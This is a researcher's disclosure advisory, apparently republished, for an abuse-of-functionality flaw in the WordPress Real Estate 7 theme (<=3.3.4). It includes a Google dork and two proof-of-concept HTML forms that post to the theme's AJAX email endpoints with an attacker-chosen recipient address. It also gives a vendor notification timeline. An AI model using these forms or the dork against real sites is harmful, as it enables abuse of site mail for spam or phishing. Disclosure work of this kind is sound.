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WordPress Real Estate 7 Theme 3.3.4 Abuse Of Functionality
`==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2023 ] ==
Report Title: WordPress Real Estate 7 Theme <= 3.3.4 - Abuse of Functionality
Google Dork: inurl:/wp-content/themes/realestate-7/
Research Date: 2023-02-10
Researcher: FearZzZz [ https://fearzzzz.ru ]
Component Vendor: Contempo Themes [ https://contempothemes.com ]
Vulnerable Version: <= 3.3.4
Component Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
CVSS Base Score: 7.2 (High)
CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L
OWASP Top 10: A04: 2021 – Insecure Design
CWE: CWE-472
CVE: TBA
=================================================================================================
#### [ Description: ]
The Real Estate 7 theme for WordPress is vulnerable to Abuse of Functionality via the `ctyouremail` parameter in the `/includes/ajax-submit-favorites.php` and `/includes/ajax-submit-listings.php` files in versions up to, and including, v3.3.4. This makes it possible for unauthenticated attackers to use implemented functions from the vulnerable service to invoke unintended/malicious outcomes.
#### [ Impact: ]
If a web application doesn't properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.
#### [ Proof-of-Concept: ]
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://fearzzzz.ru/wp-content/themes/realestate-7/includes/ajax-submit-favorites.php" method="POST">
<input type="hidden" name="ctsubject" value="Fear is Big Business" />
<input type="hidden" name="name" value="FearZzZz" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="ctphone" value="no" />
<input type="hidden" name="message" value="Fear is Big Business" />
<input type="hidden" name="ctyouremail" value="[email protected]" />
<input type="hidden" name="ctproperty" value="https://fearzzzz.ru" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://fearzzzz.ru/wp-content/themes/realestate-7/includes/ajax-submit-listings.php" method="POST">
<input type="hidden" name="listing_id" value="451" />
<input type="hidden" name="ctsubject" value="Fear is Big Business" />
<input type="hidden" name="name" value="FearZzZz" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="ctphone" value="" />
<input type="hidden" name="message" value="Fear is Big Business" />
<input type="hidden" name="ctyouremail" value="[email protected]" />
<input type="hidden" name="ctproperty" value="Z" />
<input type="hidden" name="ctlistingstreet" value="Z" />
<input type="hidden" name="ctlistingcity" value="Z" />
<input type="hidden" name="ctlistingstate" value="Z" />
<input type="hidden" name="ctlistingzip" value="Z" />
<input type="hidden" name="ctpermalink" value="https://fearzzzz.ru" />
<input type="hidden" name="ctlistingprice" value="Z" />
<input type="hidden" name="ctlistingsqft" value="Z" />
<input type="hidden" name="ctlistingbeds" value="" />
<input type="hidden" name="ctlistingbaths" value="" />
<input type="hidden" name="ctlistinglotsize" value="" />
<input type="hidden" name="ctlistingmlsnumber" value="" />
<input type="hidden" name="ctlistingpropertytype" value="Detached" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
#### [ Timeline: ]
2023.02.08 - Real Estate 7 Theme v3.3.4 released.
2023.02.10 - Vulnerability has been discovered.
2023.02.15 - Vendor notified.
2023.02.16 - Chris Robinson responded that the vulnerabilities have been fixed. The release of the new version v3.3.5 is scheduled for March 6.
#### [ Contacts: ]
Website: fearzzzz.ru
Email: [email protected]
Twitter: https://twitter.com/fear_zzzz
Medium: https://fearzzzz.medium.com
GitHub: https://github.com/fearzzzz
YouTube: https://youtube.com/@fearzzzz
#### [ Notes: ]
Special thanks to Chris Robinson (Contempo Themes Founder & CEO) for the quick response and for the respectful communication.
#### [ Disclaimer: ]
The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages.
========================================================================== [ www.fearzzzz.ru ] ==
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28 Feb 2023 00:00Current
7.4High risk
Vulners AI Score7.4